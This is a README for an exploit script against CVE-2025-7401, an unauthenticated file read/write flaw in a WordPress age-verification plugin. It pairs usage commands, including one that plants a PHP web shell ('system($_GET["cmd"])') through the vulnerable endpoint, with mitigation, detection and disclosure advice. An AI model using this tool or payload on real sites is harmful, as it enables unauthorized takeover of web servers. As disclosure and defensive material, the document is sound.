CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - Unauthenticated Arbitrary File Read and Write

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — Unauthenticated Arbitrary File Read & Write

📝 Description

The "Premium Age Verification / Restriction for WordPress" plugin contains an insufficiently protected remote support endpoint in remote_tunnel.php. In affected versions up to and including 3.0.2, this endpoint can be abused for unauthenticated arbitrary file read and write. Successful exploitation may expose sensitive information or allow remote code execution.

• CVE: CVE-2025-7401
• CVSS: 9.8 (Critical)

⚙️ Script Overview

• Script name: CVE-2025-7401.py
• Purpose: A testing tool for authorized security professionals to validate file write behavior in the vulnerable plugin endpoint. The script normalizes the target, encodes a user-supplied PHP snippet, sends a POST to the vulnerable endpoint to attempt writing a file, and optionally verifies the web-accessible file path.

▶️ Quick Usage Examples

# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 Command-line Options

📋 Detailed Script Behavior (Step-by-step)

📌 Expected Outputs and Their Meaning

🛡️ Mitigation & Recommendations

• Upgrade the plugin to a vendor-provided patched version immediately.
• Restrict access to remote support functions with authentication and proper authorization checks.
• Sanitize and validate all user-supplied file paths and file content server-side.
• Apply strict file-system permissions preventing the web user from creating executable files in webroot.
• Deploy WAF rules to detect and block suspicious requests to remote_tunnel.php.

🔎 Detection & Forensics

• Inspect webserver logs for POST requests to /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php with parameters: action=save_file, file, file_content.
• Search plugin directory for unexpected files such as remote_init.php.
• Look for base64-encoded payloads in POST bodies.
• Correlate timestamps of file changes with suspicious requests.

🤝 Responsible Disclosure

If you discover this vulnerability on third-party infrastructure:

• DO NOT exploit or alter production systems.
• Contact the site owner or plugin vendor privately and securely.
• Provide reproducible steps to the vendor and allow reasonable time for remediation before any public disclosure.

⚖️ Legal & Safety Notice

Unauthorized use of vulnerability testing tools is illegal in many jurisdictions. This repository and script are intended solely for defensive research, authorized testing, and coordinated vulnerability disclosure. Always obtain explicit written permission before testing systems you do not own.

❗ Disclaimer

The author and contributors accept no responsibility for misuse of the information or tools. Use this material only within legal and ethical boundaries.

By: Nxploited ( Khaled Alenazi )